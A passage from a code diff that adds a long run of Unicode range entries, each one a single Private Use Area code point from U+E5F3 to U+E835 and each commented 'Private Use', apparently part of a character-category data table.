+ ["\uE5F3", "\uE5F3"], /* Private Use */
+ ["\uE5F4", "\uE5F4"], /* Private Use */
+ ["\uE5F5", "\uE5F5"], /* Private Use */
+ ["\uE5F6", "\uE5F6"], /* Private Use */
+ ["\uE5F7", "\uE5F7"], /* Private Use */
+ ["\uE5F8", "\uE5F8"], /* Private Use */
+ ["\uE5F9", "\uE5F9"], /* Private Use */
+ ["\uE5FA", "\uE5FA"], /* Private Use */
+ ["\uE5FB", "\uE5FB"], /* Private Use */
+ ["\uE5FC", "\uE5FC"], /* Private Use */
+ ["\uE5FD", "\uE5FD"], /* Private Use */
+ ["\uE5FE", "\uE5FE"], /* Private Use */
+ ["\uE5FF", "\uE5FF"], /* Private Use */
+ ["\uE600", "\uE600"], /* Private Use */
+ ["\uE601", "\uE601"], /* Private Use */
+ ["\uE602", "\uE602"], /* Private Use */
+ ["\uE603", "\uE603"], /* Private Use */
+ ["\uE604", "\uE604"], /* Private Use */
+ ["\uE605", "\uE605"], /* Private Use */
+ ["\uE606", "\uE606"], /* Private Use */
+ ["\uE607", "\uE607"], /* Private Use */
+ ["\uE608", "\uE608"], /* Private Use */
+ ["\uE609", "\uE609"], /* Private Use */
+ ["\uE60A", "\uE60A"], /* Private Use */
+ ["\uE60B", "\uE60B"], /* Private Use */
+ ["\uE60C", "\uE60C"], /* Private Use */
+ ["\uE60D", "\uE60D"], /* Private Use */
+ ["\uE60E", "\uE60E"], /* Private Use */
+ ["\uE60F", "\uE60F"], /* Private Use */
+ ["\uE610", "\uE610"], /* Private Use */
+ ["\uE611", "\uE611"], /* Private Use */
+ ["\uE612", "\uE612"], /* Private Use */
+ ["\uE613", "\uE613"], /* Private Use */
+ ["\uE614", "\uE614"], /* Private Use */
+ ["\uE615", "\uE615"], /* Private Use */
+ ["\uE616", "\uE616"], /* Private Use */
+ ["\uE617", "\uE617"], /* Private Use */
+ ["\uE618", "\uE618"], /* Private Use */
+ ["\uE619", "\uE619"], /* Private Use */
+ ["\uE61A", "\uE61A"], /* Private Use */
+ ["\uE61B", "\uE61B"], /* Private Use */
+ ["\uE61C", "\uE61C"], /* Private Use */
+ ["\uE61D", "\uE61D"], /* Private Use */
+ ["\uE61E", "\uE61E"], /* Private Use */
+ ["\uE61F", "\uE61F"], /* Private Use */
+ ["\uE620", "\uE620"], /* Private Use */
+ ["\uE621", "\uE621"], /* Private Use */
+ ["\uE622", "\uE622"], /* Private Use */
+ ["\uE623", "\uE623"], /* Private Use */
+ ["\uE624", "\uE624"], /* Private Use */
+ ["\uE625", "\uE625"], /* Private Use */
+ ["\uE626", "\uE626"], /* Private Use */
+ ["\uE627", "\uE627"], /* Private Use */
+ ["\uE628", "\uE628"], /* Private Use */
+ ["\uE629", "\uE629"], /* Private Use */
+ ["\uE62A", "\uE62A"], /* Private Use */
+ ["\uE62B", "\uE62B"], /* Private Use */
+ ["\uE62C", "\uE62C"], /* Private Use */
+ ["\uE62D", "\uE62D"], /* Private Use */
+ ["\uE62E", "\uE62E"], /* Private Use */
+ ["\uE62F", "\uE62F"], /* Private Use */
+ ["\uE630", "\uE630"], /* Private Use */
+ ["\uE631", "\uE631"], /* Private Use */
+ ["\uE632", "\uE632"], /* Private Use */
+ ["\uE633", "\uE633"], /* Private Use */
+ ["\uE634", "\uE634"], /* Private Use */
+ ["\uE635", "\uE635"], /* Private Use */
+ ["\uE636", "\uE636"], /* Private Use */
+ ["\uE637", "\uE637"], /* Private Use */
+ ["\uE638", "\uE638"], /* Private Use */
+ ["\uE639", "\uE639"], /* Private Use */
+ ["\uE63A", "\uE63A"], /* Private Use */
+ ["\uE63B", "\uE63B"], /* Private Use */
+ ["\uE63C", "\uE63C"], /* Private Use */
+ ["\uE63D", "\uE63D"], /* Private Use */
+ ["\uE63E", "\uE63E"], /* Private Use */
+ ["\uE63F", "\uE63F"], /* Private Use */
+ ["\uE640", "\uE640"], /* Private Use */
+ ["\uE641", "\uE641"], /* Private Use */
+ ["\uE642", "\uE642"], /* Private Use */
+ ["\uE643", "\uE643"], /* Private Use */
+ ["\uE644", "\uE644"], /* Private Use */
+ ["\uE645", "\uE645"], /* Private Use */
+ ["\uE646", "\uE646"], /* Private Use */
+ ["\uE647", "\uE647"], /* Private Use */
+ ["\uE648", "\uE648"], /* Private Use */
+ ["\uE649", "\uE649"], /* Private Use */
+ ["\uE64A", "\uE64A"], /* Private Use */
+ ["\uE64B", "\uE64B"], /* Private Use */
+ ["\uE64C", "\uE64C"], /* Private Use */
+ ["\uE64D", "\uE64D"], /* Private Use */
+ ["\uE64E", "\uE64E"], /* Private Use */
+ ["\uE64F", "\uE64F"], /* Private Use */
+ ["\uE650", "\uE650"], /* Private Use */
+ ["\uE651", "\uE651"], /* Private Use */
+ ["\uE652", "\uE652"], /* Private Use */
+ ["\uE653", "\uE653"], /* Private Use */
+ ["\uE654", "\uE654"], /* Private Use */
+ ["\uE655", "\uE655"], /* Private Use */
+ ["\uE656", "\uE656"], /* Private Use */
+ ["\uE657", "\uE657"], /* Private Use */
+ ["\uE658", "\uE658"], /* Private Use */
+ ["\uE659", "\uE659"], /* Private Use */
+ ["\uE65A", "\uE65A"], /* Private Use */
+ ["\uE65B", "\uE65B"], /* Private Use */
+ ["\uE65C", "\uE65C"], /* Private Use */
+ ["\uE65D", "\uE65D"], /* Private Use */
+ ["\uE65E", "\uE65E"], /* Private Use */
+ ["\uE65F", "\uE65F"], /* Private Use */
+ ["\uE660", "\uE660"], /* Private Use */
+ ["\uE661", "\uE661"], /* Private Use */
+ ["\uE662", "\uE662"], /* Private Use */
+ ["\uE663", "\uE663"], /* Private Use */
+ ["\uE664", "\uE664"], /* Private Use */
+ ["\uE665", "\uE665"], /* Private Use */
+ ["\uE666", "\uE666"], /* Private Use */
+ ["\uE667", "\uE667"], /* Private Use */
+ ["\uE668", "\uE668"], /* Private Use */
+ ["\uE669", "\uE669"], /* Private Use */
+ ["\uE66A", "\uE66A"], /* Private Use */
+ ["\uE66B", "\uE66B"], /* Private Use */
+ ["\uE66C", "\uE66C"], /* Private Use */
+ ["\uE66D", "\uE66D"], /* Private Use */
+ ["\uE66E", "\uE66E"], /* Private Use */
+ ["\uE66F", "\uE66F"], /* Private Use */
+ ["\uE670", "\uE670"], /* Private Use */
+ ["\uE671", "\uE671"], /* Private Use */
+ ["\uE672", "\uE672"], /* Private Use */
+ ["\uE673", "\uE673"], /* Private Use */
+ ["\uE674", "\uE674"], /* Private Use */
+ ["\uE675", "\uE675"], /* Private Use */
+ ["\uE676", "\uE676"], /* Private Use */
+ ["\uE677", "\uE677"], /* Private Use */
+ ["\uE678", "\uE678"], /* Private Use */
+ ["\uE679", "\uE679"], /* Private Use */
+ ["\uE67A", "\uE67A"], /* Private Use */
+ ["\uE67B", "\uE67B"], /* Private Use */
+ ["\uE67C", "\uE67C"], /* Private Use */
+ ["\uE67D", "\uE67D"], /* Private Use */
+ ["\uE67E", "\uE67E"], /* Private Use */
+ ["\uE67F", "\uE67F"], /* Private Use */
+ ["\uE680", "\uE680"], /* Private Use */
+ ["\uE681", "\uE681"], /* Private Use */
+ ["\uE682", "\uE682"], /* Private Use */
+ ["\uE683", "\uE683"], /* Private Use */
+ ["\uE684", "\uE684"], /* Private Use */
+ ["\uE685", "\uE685"], /* Private Use */
+ ["\uE686", "\uE686"], /* Private Use */
+ ["\uE687", "\uE687"], /* Private Use */
+ ["\uE688", "\uE688"], /* Private Use */
+ ["\uE689", "\uE689"], /* Private Use */
+ ["\uE68A", "\uE68A"], /* Private Use */
+ ["\uE68B", "\uE68B"], /* Private Use */
+ ["\uE68C", "\uE68C"], /* Private Use */
+ ["\uE68D", "\uE68D"], /* Private Use */
+ ["\uE68E", "\uE68E"], /* Private Use */
+ ["\uE68F", "\uE68F"], /* Private Use */
+ ["\uE690", "\uE690"], /* Private Use */
+ ["\uE691", "\uE691"], /* Private Use */
+ ["\uE692", "\uE692"], /* Private Use */
+ ["\uE693", "\uE693"], /* Private Use */
+ ["\uE694", "\uE694"], /* Private Use */
+ ["\uE695", "\uE695"], /* Private Use */
+ ["\uE696", "\uE696"], /* Private Use */
+ ["\uE697", "\uE697"], /* Private Use */
+ ["\uE698", "\uE698"], /* Private Use */
+ ["\uE699", "\uE699"], /* Private Use */
+ ["\uE69A", "\uE69A"], /* Private Use */
+ ["\uE69B", "\uE69B"], /* Private Use */
+ ["\uE69C", "\uE69C"], /* Private Use */
+ ["\uE69D", "\uE69D"], /* Private Use */
+ ["\uE69E", "\uE69E"], /* Private Use */
+ ["\uE69F", "\uE69F"], /* Private Use */
+ ["\uE6A0", "\uE6A0"], /* Private Use */
+ ["\uE6A1", "\uE6A1"], /* Private Use */
+ ["\uE6A2", "\uE6A2"], /* Private Use */
+ ["\uE6A3", "\uE6A3"], /* Private Use */
+ ["\uE6A4", "\uE6A4"], /* Private Use */
+ ["\uE6A5", "\uE6A5"], /* Private Use */
+ ["\uE6A6", "\uE6A6"], /* Private Use */
+ ["\uE6A7", "\uE6A7"], /* Private Use */
+ ["\uE6A8", "\uE6A8"], /* Private Use */
+ ["\uE6A9", "\uE6A9"], /* Private Use */
+ ["\uE6AA", "\uE6AA"], /* Private Use */
+ ["\uE6AB", "\uE6AB"], /* Private Use */
+ ["\uE6AC", "\uE6AC"], /* Private Use */
+ ["\uE6AD", "\uE6AD"], /* Private Use */
+ ["\uE6AE", "\uE6AE"], /* Private Use */
+ ["\uE6AF", "\uE6AF"], /* Private Use */
+ ["\uE6B0", "\uE6B0"], /* Private Use */
+ ["\uE6B1", "\uE6B1"], /* Private Use */
+ ["\uE6B2", "\uE6B2"], /* Private Use */
+ ["\uE6B3", "\uE6B3"], /* Private Use */
+ ["\uE6B4", "\uE6B4"], /* Private Use */
+ ["\uE6B5", "\uE6B5"], /* Private Use */
+ ["\uE6B6", "\uE6B6"], /* Private Use */
+ ["\uE6B7", "\uE6B7"], /* Private Use */
+ ["\uE6B8", "\uE6B8"], /* Private Use */
+ ["\uE6B9", "\uE6B9"], /* Private Use */
+ ["\uE6BA", "\uE6BA"], /* Private Use */
+ ["\uE6BB", "\uE6BB"], /* Private Use */
+ ["\uE6BC", "\uE6BC"], /* Private Use */
+ ["\uE6BD", "\uE6BD"], /* Private Use */
+ ["\uE6BE", "\uE6BE"], /* Private Use */
+ ["\uE6BF", "\uE6BF"], /* Private Use */
+ ["\uE6C0", "\uE6C0"], /* Private Use */
+ ["\uE6C1", "\uE6C1"], /* Private Use */
+ ["\uE6C2", "\uE6C2"], /* Private Use */
+ ["\uE6C3", "\uE6C3"], /* Private Use */
+ ["\uE6C4", "\uE6C4"], /* Private Use */
+ ["\uE6C5", "\uE6C5"], /* Private Use */
+ ["\uE6C6", "\uE6C6"], /* Private Use */
+ ["\uE6C7", "\uE6C7"], /* Private Use */
+ ["\uE6C8", "\uE6C8"], /* Private Use */
+ ["\uE6C9", "\uE6C9"], /* Private Use */
+ ["\uE6CA", "\uE6CA"], /* Private Use */
+ ["\uE6CB", "\uE6CB"], /* Private Use */
+ ["\uE6CC", "\uE6CC"], /* Private Use */
+ ["\uE6CD", "\uE6CD"], /* Private Use */
+ ["\uE6CE", "\uE6CE"], /* Private Use */
+ ["\uE6CF", "\uE6CF"], /* Private Use */
+ ["\uE6D0", "\uE6D0"], /* Private Use */
+ ["\uE6D1", "\uE6D1"], /* Private Use */
+ ["\uE6D2", "\uE6D2"], /* Private Use */
+ ["\uE6D3", "\uE6D3"], /* Private Use */
+ ["\uE6D4", "\uE6D4"], /* Private Use */
+ ["\uE6D5", "\uE6D5"], /* Private Use */
+ ["\uE6D6", "\uE6D6"], /* Private Use */
+ ["\uE6D7", "\uE6D7"], /* Private Use */
+ ["\uE6D8", "\uE6D8"], /* Private Use */
+ ["\uE6D9", "\uE6D9"], /* Private Use */
+ ["\uE6DA", "\uE6DA"], /* Private Use */
+ ["\uE6DB", "\uE6DB"], /* Private Use */
+ ["\uE6DC", "\uE6DC"], /* Private Use */
+ ["\uE6DD", "\uE6DD"], /* Private Use */
+ ["\uE6DE", "\uE6DE"], /* Private Use */
+ ["\uE6DF", "\uE6DF"], /* Private Use */
+ ["\uE6E0", "\uE6E0"], /* Private Use */
+ ["\uE6E1", "\uE6E1"], /* Private Use */
+ ["\uE6E2", "\uE6E2"], /* Private Use */
+ ["\uE6E3", "\uE6E3"], /* Private Use */
+ ["\uE6E4", "\uE6E4"], /* Private Use */
+ ["\uE6E5", "\uE6E5"], /* Private Use */
+ ["\uE6E6", "\uE6E6"], /* Private Use */
+ ["\uE6E7", "\uE6E7"], /* Private Use */
+ ["\uE6E8", "\uE6E8"], /* Private Use */
+ ["\uE6E9", "\uE6E9"], /* Private Use */
+ ["\uE6EA", "\uE6EA"], /* Private Use */
+ ["\uE6EB", "\uE6EB"], /* Private Use */
+ ["\uE6EC", "\uE6EC"], /* Private Use */
+ ["\uE6ED", "\uE6ED"], /* Private Use */
+ ["\uE6EE", "\uE6EE"], /* Private Use */
+ ["\uE6EF", "\uE6EF"], /* Private Use */
+ ["\uE6F0", "\uE6F0"], /* Private Use */
+ ["\uE6F1", "\uE6F1"], /* Private Use */
+ ["\uE6F2", "\uE6F2"], /* Private Use */
+ ["\uE6F3", "\uE6F3"], /* Private Use */
+ ["\uE6F4", "\uE6F4"], /* Private Use */
+ ["\uE6F5", "\uE6F5"], /* Private Use */
+ ["\uE6F6", "\uE6F6"], /* Private Use */
+ ["\uE6F7", "\uE6F7"], /* Private Use */
+ ["\uE6F8", "\uE6F8"], /* Private Use */
+ ["\uE6F9", "\uE6F9"], /* Private Use */
+ ["\uE6FA", "\uE6FA"], /* Private Use */
+ ["\uE6FB", "\uE6FB"], /* Private Use */
+ ["\uE6FC", "\uE6FC"], /* Private Use */
+ ["\uE6FD", "\uE6FD"], /* Private Use */
+ ["\uE6FE", "\uE6FE"], /* Private Use */
+ ["\uE6FF", "\uE6FF"], /* Private Use */
+ ["\uE700", "\uE700"], /* Private Use */
+ ["\uE701", "\uE701"], /* Private Use */
+ ["\uE702", "\uE702"], /* Private Use */
+ ["\uE703", "\uE703"], /* Private Use */
+ ["\uE704", "\uE704"], /* Private Use */
+ ["\uE705", "\uE705"], /* Private Use */
+ ["\uE706", "\uE706"], /* Private Use */
+ ["\uE707", "\uE707"], /* Private Use */
+ ["\uE708", "\uE708"], /* Private Use */
+ ["\uE709", "\uE709"], /* Private Use */
+ ["\uE70A", "\uE70A"], /* Private Use */
+ ["\uE70B", "\uE70B"], /* Private Use */
+ ["\uE70C", "\uE70C"], /* Private Use */
+ ["\uE70D", "\uE70D"], /* Private Use */
+ ["\uE70E", "\uE70E"], /* Private Use */
+ ["\uE70F", "\uE70F"], /* Private Use */
+ ["\uE710", "\uE710"], /* Private Use */
+ ["\uE711", "\uE711"], /* Private Use */
+ ["\uE712", "\uE712"], /* Private Use */
+ ["\uE713", "\uE713"], /* Private Use */
+ ["\uE714", "\uE714"], /* Private Use */
+ ["\uE715", "\uE715"], /* Private Use */
+ ["\uE716", "\uE716"], /* Private Use */
+ ["\uE717", "\uE717"], /* Private Use */
+ ["\uE718", "\uE718"], /* Private Use */
+ ["\uE719", "\uE719"], /* Private Use */
+ ["\uE71A", "\uE71A"], /* Private Use */
+ ["\uE71B", "\uE71B"], /* Private Use */
+ ["\uE71C", "\uE71C"], /* Private Use */
+ ["\uE71D", "\uE71D"], /* Private Use */
+ ["\uE71E", "\uE71E"], /* Private Use */
+ ["\uE71F", "\uE71F"], /* Private Use */
+ ["\uE720", "\uE720"], /* Private Use */
+ ["\uE721", "\uE721"], /* Private Use */
+ ["\uE722", "\uE722"], /* Private Use */
+ ["\uE723", "\uE723"], /* Private Use */
+ ["\uE724", "\uE724"], /* Private Use */
+ ["\uE725", "\uE725"], /* Private Use */
+ ["\uE726", "\uE726"], /* Private Use */
+ ["\uE727", "\uE727"], /* Private Use */
+ ["\uE728", "\uE728"], /* Private Use */
+ ["\uE729", "\uE729"], /* Private Use */
+ ["\uE72A", "\uE72A"], /* Private Use */
+ ["\uE72B", "\uE72B"], /* Private Use */
+ ["\uE72C", "\uE72C"], /* Private Use */
+ ["\uE72D", "\uE72D"], /* Private Use */
+ ["\uE72E", "\uE72E"], /* Private Use */
+ ["\uE72F", "\uE72F"], /* Private Use */
+ ["\uE730", "\uE730"], /* Private Use */
+ ["\uE731", "\uE731"], /* Private Use */
+ ["\uE732", "\uE732"], /* Private Use */
+ ["\uE733", "\uE733"], /* Private Use */
+ ["\uE734", "\uE734"], /* Private Use */
+ ["\uE735", "\uE735"], /* Private Use */
+ ["\uE736", "\uE736"], /* Private Use */
+ ["\uE737", "\uE737"], /* Private Use */
+ ["\uE738", "\uE738"], /* Private Use */
+ ["\uE739", "\uE739"], /* Private Use */
+ ["\uE73A", "\uE73A"], /* Private Use */
+ ["\uE73B", "\uE73B"], /* Private Use */
+ ["\uE73C", "\uE73C"], /* Private Use */
+ ["\uE73D", "\uE73D"], /* Private Use */
+ ["\uE73E", "\uE73E"], /* Private Use */
+ ["\uE73F", "\uE73F"], /* Private Use */
+ ["\uE740", "\uE740"], /* Private Use */
+ ["\uE741", "\uE741"], /* Private Use */
+ ["\uE742", "\uE742"], /* Private Use */
+ ["\uE743", "\uE743"], /* Private Use */
+ ["\uE744", "\uE744"], /* Private Use */
+ ["\uE745", "\uE745"], /* Private Use */
+ ["\uE746", "\uE746"], /* Private Use */
+ ["\uE747", "\uE747"], /* Private Use */
+ ["\uE748", "\uE748"], /* Private Use */
+ ["\uE749", "\uE749"], /* Private Use */
+ ["\uE74A", "\uE74A"], /* Private Use */
+ ["\uE74B", "\uE74B"], /* Private Use */
+ ["\uE74C", "\uE74C"], /* Private Use */
+ ["\uE74D", "\uE74D"], /* Private Use */
+ ["\uE74E", "\uE74E"], /* Private Use */
+ ["\uE74F", "\uE74F"], /* Private Use */
+ ["\uE750", "\uE750"], /* Private Use */
+ ["\uE751", "\uE751"], /* Private Use */
+ ["\uE752", "\uE752"], /* Private Use */
+ ["\uE753", "\uE753"], /* Private Use */
+ ["\uE754", "\uE754"], /* Private Use */
+ ["\uE755", "\uE755"], /* Private Use */
+ ["\uE756", "\uE756"], /* Private Use */
+ ["\uE757", "\uE757"], /* Private Use */
+ ["\uE758", "\uE758"], /* Private Use */
+ ["\uE759", "\uE759"], /* Private Use */
+ ["\uE75A", "\uE75A"], /* Private Use */
+ ["\uE75B", "\uE75B"], /* Private Use */
+ ["\uE75C", "\uE75C"], /* Private Use */
+ ["\uE75D", "\uE75D"], /* Private Use */
+ ["\uE75E", "\uE75E"], /* Private Use */
+ ["\uE75F", "\uE75F"], /* Private Use */
+ ["\uE760", "\uE760"], /* Private Use */
+ ["\uE761", "\uE761"], /* Private Use */
+ ["\uE762", "\uE762"], /* Private Use */
+ ["\uE763", "\uE763"], /* Private Use */
+ ["\uE764", "\uE764"], /* Private Use */
+ ["\uE765", "\uE765"], /* Private Use */
+ ["\uE766", "\uE766"], /* Private Use */
+ ["\uE767", "\uE767"], /* Private Use */
+ ["\uE768", "\uE768"], /* Private Use */
+ ["\uE769", "\uE769"], /* Private Use */
+ ["\uE76A", "\uE76A"], /* Private Use */
+ ["\uE76B", "\uE76B"], /* Private Use */
+ ["\uE76C", "\uE76C"], /* Private Use */
+ ["\uE76D", "\uE76D"], /* Private Use */
+ ["\uE76E", "\uE76E"], /* Private Use */
+ ["\uE76F", "\uE76F"], /* Private Use */
+ ["\uE770", "\uE770"], /* Private Use */
+ ["\uE771", "\uE771"], /* Private Use */
+ ["\uE772", "\uE772"], /* Private Use */
+ ["\uE773", "\uE773"], /* Private Use */
+ ["\uE774", "\uE774"], /* Private Use */
+ ["\uE775", "\uE775"], /* Private Use */
+ ["\uE776", "\uE776"], /* Private Use */
+ ["\uE777", "\uE777"], /* Private Use */
+ ["\uE778", "\uE778"], /* Private Use */
+ ["\uE779", "\uE779"], /* Private Use */
+ ["\uE77A", "\uE77A"], /* Private Use */
+ ["\uE77B", "\uE77B"], /* Private Use */
+ ["\uE77C", "\uE77C"], /* Private Use */
+ ["\uE77D", "\uE77D"], /* Private Use */
+ ["\uE77E", "\uE77E"], /* Private Use */
+ ["\uE77F", "\uE77F"], /* Private Use */
+ ["\uE780", "\uE780"], /* Private Use */
+ ["\uE781", "\uE781"], /* Private Use */
+ ["\uE782", "\uE782"], /* Private Use */
+ ["\uE783", "\uE783"], /* Private Use */
+ ["\uE784", "\uE784"], /* Private Use */
+ ["\uE785", "\uE785"], /* Private Use */
+ ["\uE786", "\uE786"], /* Private Use */
+ ["\uE787", "\uE787"], /* Private Use */
+ ["\uE788", "\uE788"], /* Private Use */
+ ["\uE789", "\uE789"], /* Private Use */
+ ["\uE78A", "\uE78A"], /* Private Use */
+ ["\uE78B", "\uE78B"], /* Private Use */
+ ["\uE78C", "\uE78C"], /* Private Use */
+ ["\uE78D", "\uE78D"], /* Private Use */
+ ["\uE78E", "\uE78E"], /* Private Use */
+ ["\uE78F", "\uE78F"], /* Private Use */
+ ["\uE790", "\uE790"], /* Private Use */
+ ["\uE791", "\uE791"], /* Private Use */
+ ["\uE792", "\uE792"], /* Private Use */
+ ["\uE793", "\uE793"], /* Private Use */
+ ["\uE794", "\uE794"], /* Private Use */
+ ["\uE795", "\uE795"], /* Private Use */
+ ["\uE796", "\uE796"], /* Private Use */
+ ["\uE797", "\uE797"], /* Private Use */
+ ["\uE798", "\uE798"], /* Private Use */
+ ["\uE799", "\uE799"], /* Private Use */
+ ["\uE79A", "\uE79A"], /* Private Use */
+ ["\uE79B", "\uE79B"], /* Private Use */
+ ["\uE79C", "\uE79C"], /* Private Use */
+ ["\uE79D", "\uE79D"], /* Private Use */
+ ["\uE79E", "\uE79E"], /* Private Use */
+ ["\uE79F", "\uE79F"], /* Private Use */
+ ["\uE7A0", "\uE7A0"], /* Private Use */
+ ["\uE7A1", "\uE7A1"], /* Private Use */
+ ["\uE7A2", "\uE7A2"], /* Private Use */
+ ["\uE7A3", "\uE7A3"], /* Private Use */
+ ["\uE7A4", "\uE7A4"], /* Private Use */
+ ["\uE7A5", "\uE7A5"], /* Private Use */
+ ["\uE7A6", "\uE7A6"], /* Private Use */
+ ["\uE7A7", "\uE7A7"], /* Private Use */
+ ["\uE7A8", "\uE7A8"], /* Private Use */
+ ["\uE7A9", "\uE7A9"], /* Private Use */
+ ["\uE7AA", "\uE7AA"], /* Private Use */
+ ["\uE7AB", "\uE7AB"], /* Private Use */
+ ["\uE7AC", "\uE7AC"], /* Private Use */
+ ["\uE7AD", "\uE7AD"], /* Private Use */
+ ["\uE7AE", "\uE7AE"], /* Private Use */
+ ["\uE7AF", "\uE7AF"], /* Private Use */
+ ["\uE7B0", "\uE7B0"], /* Private Use */
+ ["\uE7B1", "\uE7B1"], /* Private Use */
+ ["\uE7B2", "\uE7B2"], /* Private Use */
+ ["\uE7B3", "\uE7B3"], /* Private Use */
+ ["\uE7B4", "\uE7B4"], /* Private Use */
+ ["\uE7B5", "\uE7B5"], /* Private Use */
+ ["\uE7B6", "\uE7B6"], /* Private Use */
+ ["\uE7B7", "\uE7B7"], /* Private Use */
+ ["\uE7B8", "\uE7B8"], /* Private Use */
+ ["\uE7B9", "\uE7B9"], /* Private Use */
+ ["\uE7BA", "\uE7BA"], /* Private Use */
+ ["\uE7BB", "\uE7BB"], /* Private Use */
+ ["\uE7BC", "\uE7BC"], /* Private Use */
+ ["\uE7BD", "\uE7BD"], /* Private Use */
+ ["\uE7BE", "\uE7BE"], /* Private Use */
+ ["\uE7BF", "\uE7BF"], /* Private Use */
+ ["\uE7C0", "\uE7C0"], /* Private Use */
+ ["\uE7C1", "\uE7C1"], /* Private Use */
+ ["\uE7C2", "\uE7C2"], /* Private Use */
+ ["\uE7C3", "\uE7C3"], /* Private Use */
+ ["\uE7C4", "\uE7C4"], /* Private Use */
+ ["\uE7C5", "\uE7C5"], /* Private Use */
+ ["\uE7C6", "\uE7C6"], /* Private Use */
+ ["\uE7C7", "\uE7C7"], /* Private Use */
+ ["\uE7C8", "\uE7C8"], /* Private Use */
+ ["\uE7C9", "\uE7C9"], /* Private Use */
+ ["\uE7CA", "\uE7CA"], /* Private Use */
+ ["\uE7CB", "\uE7CB"], /* Private Use */
+ ["\uE7CC", "\uE7CC"], /* Private Use */
+ ["\uE7CD", "\uE7CD"], /* Private Use */
+ ["\uE7CE", "\uE7CE"], /* Private Use */
+ ["\uE7CF", "\uE7CF"], /* Private Use */
+ ["\uE7D0", "\uE7D0"], /* Private Use */
+ ["\uE7D1", "\uE7D1"], /* Private Use */
+ ["\uE7D2", "\uE7D2"], /* Private Use */
+ ["\uE7D3", "\uE7D3"], /* Private Use */
+ ["\uE7D4", "\uE7D4"], /* Private Use */
+ ["\uE7D5", "\uE7D5"], /* Private Use */
+ ["\uE7D6", "\uE7D6"], /* Private Use */
+ ["\uE7D7", "\uE7D7"], /* Private Use */
+ ["\uE7D8", "\uE7D8"], /* Private Use */
+ ["\uE7D9", "\uE7D9"], /* Private Use */
+ ["\uE7DA", "\uE7DA"], /* Private Use */
+ ["\uE7DB", "\uE7DB"], /* Private Use */
+ ["\uE7DC", "\uE7DC"], /* Private Use */
+ ["\uE7DD", "\uE7DD"], /* Private Use */
+ ["\uE7DE", "\uE7DE"], /* Private Use */
+ ["\uE7DF", "\uE7DF"], /* Private Use */
+ ["\uE7E0", "\uE7E0"], /* Private Use */
+ ["\uE7E1", "\uE7E1"], /* Private Use */
+ ["\uE7E2", "\uE7E2"], /* Private Use */
+ ["\uE7E3", "\uE7E3"], /* Private Use */
+ ["\uE7E4", "\uE7E4"], /* Private Use */
+ ["\uE7E5", "\uE7E5"], /* Private Use */
+ ["\uE7E6", "\uE7E6"], /* Private Use */
+ ["\uE7E7", "\uE7E7"], /* Private Use */
+ ["\uE7E8", "\uE7E8"], /* Private Use */
+ ["\uE7E9", "\uE7E9"], /* Private Use */
+ ["\uE7EA", "\uE7EA"], /* Private Use */
+ ["\uE7EB", "\uE7EB"], /* Private Use */
+ ["\uE7EC", "\uE7EC"], /* Private Use */
+ ["\uE7ED", "\uE7ED"], /* Private Use */
+ ["\uE7EE", "\uE7EE"], /* Private Use */
+ ["\uE7EF", "\uE7EF"], /* Private Use */
+ ["\uE7F0", "\uE7F0"], /* Private Use */
+ ["\uE7F1", "\uE7F1"], /* Private Use */
+ ["\uE7F2", "\uE7F2"], /* Private Use */
+ ["\uE7F3", "\uE7F3"], /* Private Use */
+ ["\uE7F4", "\uE7F4"], /* Private Use */
+ ["\uE7F5", "\uE7F5"], /* Private Use */
+ ["\uE7F6", "\uE7F6"], /* Private Use */
+ ["\uE7F7", "\uE7F7"], /* Private Use */
+ ["\uE7F8", "\uE7F8"], /* Private Use */
+ ["\uE7F9", "\uE7F9"], /* Private Use */
+ ["\uE7FA", "\uE7FA"], /* Private Use */
+ ["\uE7FB", "\uE7FB"], /* Private Use */
+ ["\uE7FC", "\uE7FC"], /* Private Use */
+ ["\uE7FD", "\uE7FD"], /* Private Use */
+ ["\uE7FE", "\uE7FE"], /* Private Use */
+ ["\uE7FF", "\uE7FF"], /* Private Use */
+ ["\uE800", "\uE800"], /* Private Use */
+ ["\uE801", "\uE801"], /* Private Use */
+ ["\uE802", "\uE802"], /* Private Use */
+ ["\uE803", "\uE803"], /* Private Use */
+ ["\uE804", "\uE804"], /* Private Use */
+ ["\uE805", "\uE805"], /* Private Use */
+ ["\uE806", "\uE806"], /* Private Use */
+ ["\uE807", "\uE807"], /* Private Use */
+ ["\uE808", "\uE808"], /* Private Use */
+ ["\uE809", "\uE809"], /* Private Use */
+ ["\uE80A", "\uE80A"], /* Private Use */
+ ["\uE80B", "\uE80B"], /* Private Use */
+ ["\uE80C", "\uE80C"], /* Private Use */
+ ["\uE80D", "\uE80D"], /* Private Use */
+ ["\uE80E", "\uE80E"], /* Private Use */
+ ["\uE80F", "\uE80F"], /* Private Use */
+ ["\uE810", "\uE810"], /* Private Use */
+ ["\uE811", "\uE811"], /* Private Use */
+ ["\uE812", "\uE812"], /* Private Use */
+ ["\uE813", "\uE813"], /* Private Use */
+ ["\uE814", "\uE814"], /* Private Use */
+ ["\uE815", "\uE815"], /* Private Use */
+ ["\uE816", "\uE816"], /* Private Use */
+ ["\uE817", "\uE817"], /* Private Use */
+ ["\uE818", "\uE818"], /* Private Use */
+ ["\uE819", "\uE819"], /* Private Use */
+ ["\uE81A", "\uE81A"], /* Private Use */
+ ["\uE81B", "\uE81B"], /* Private Use */
+ ["\uE81C", "\uE81C"], /* Private Use */
+ ["\uE81D", "\uE81D"], /* Private Use */
+ ["\uE81E", "\uE81E"], /* Private Use */
+ ["\uE81F", "\uE81F"], /* Private Use */
+ ["\uE820", "\uE820"], /* Private Use */
+ ["\uE821", "\uE821"], /* Private Use */
+ ["\uE822", "\uE822"], /* Private Use */
+ ["\uE823", "\uE823"], /* Private Use */
+ ["\uE824", "\uE824"], /* Private Use */
+ ["\uE825", "\uE825"], /* Private Use */
+ ["\uE826", "\uE826"], /* Private Use */
+ ["\uE827", "\uE827"], /* Private Use */
+ ["\uE828", "\uE828"], /* Private Use */
+ ["\uE829", "\uE829"], /* Private Use */
+ ["\uE82A", "\uE82A"], /* Private Use */
+ ["\uE82B", "\uE82B"], /* Private Use */
+ ["\uE82C", "\uE82C"], /* Private Use */
+ ["\uE82D", "\uE82D"], /* Private Use */
+ ["\uE82E", "\uE82E"], /* Private Use */
+ ["\uE82F", "\uE82F"], /* Private Use */
+ ["\uE830", "\uE830"], /* Private Use */
+ ["\uE831", "\uE831"], /* Private Use */
+ ["\uE832", "\uE832"], /* Private Use */
+ ["\uE833", "\uE833"], /* Private Use */
+ ["\uE834", "\uE834"], /* Private Use */
+ ["\uE835", "\uE835"], /* Private Use */
